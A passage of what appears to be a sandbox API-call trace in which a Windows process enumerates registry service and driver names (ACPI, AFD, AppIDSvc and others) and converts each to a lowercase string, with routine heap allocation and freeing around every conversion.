lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0180.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.504] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0180.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0180.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0180.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0180.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 